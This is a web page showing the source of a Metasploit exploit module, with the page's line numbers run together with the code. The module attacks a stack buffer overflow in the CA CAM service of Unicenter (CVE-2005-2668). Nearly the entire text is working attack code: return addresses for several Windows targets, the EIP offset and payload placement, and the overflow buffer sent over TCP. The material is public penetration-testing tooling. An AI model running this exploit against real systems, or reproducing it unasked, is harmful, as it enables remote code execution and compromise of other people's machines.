Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/unicenter/cam_log_security.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'CA CAM log_security() Stack Buffer Overflow (Win32)',13'Description' => %q{14This module exploits a vulnerability in the CA CAM service15by passing a long parameter to the log_security() function.16The CAM service is part of TNG Unicenter. This module has17been tested on Unicenter v3.1.18},19'Author' => [ 'hdm' ],20'License' => MSF_LICENSE,21'References' =>22[23['CVE', '2005-2668'],24['OSVDB', '18916'],25['BID', '14622'],26],27'Privileged' => true,28'Payload' =>29{30'Space' => 1024,31'BadChars' => "\x00",32'StackAdjustment' => -3500,33},34'Platform' => %w{ win },35'Targets' =>36[37# W2API.DLL @ 0x01950000 - return to ESI38['W2API.DLL TNG 2.3', { 'Platform' => 'win', 'Ret' => 0x01951107 }],3940# Return to ESI in ws2help.dll41['Windows 2000 SP0-SP4 English', { 'Platform' => 'win', 'Ret' => 0x750217ae }],42['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71aa16e5 }],43['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71aa1b22 }],44['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71bf175f }],45],46'DisclosureDate' => '2005-08-22',47'DefaultTarget' => 0))48end495051def check52connect53ack = sock.get_once || ''54disconnect5556(ack == "ACK\x00") ? Exploit::CheckCode::Detected : Exploit::CheckCode::Safe57end5859def exploit60connect6162ack = sock.get_once63if (ack != "ACK\x00")64print_status("The CAM service is not responding")65end6667buf = rand_text_english(4096, payload_badchars)6869# Offset 1016 for EIP, 1024 = ESP, 1052 = ESI70buf[ 1016, 4 ] = [target.ret].pack('V')71buf[ 1052, payload.encoded.length ] = payload.encoded7273sock.put("\xfa\xf9\x00\x10" + buf + "\x00")7475handler76disconnect77end78end798081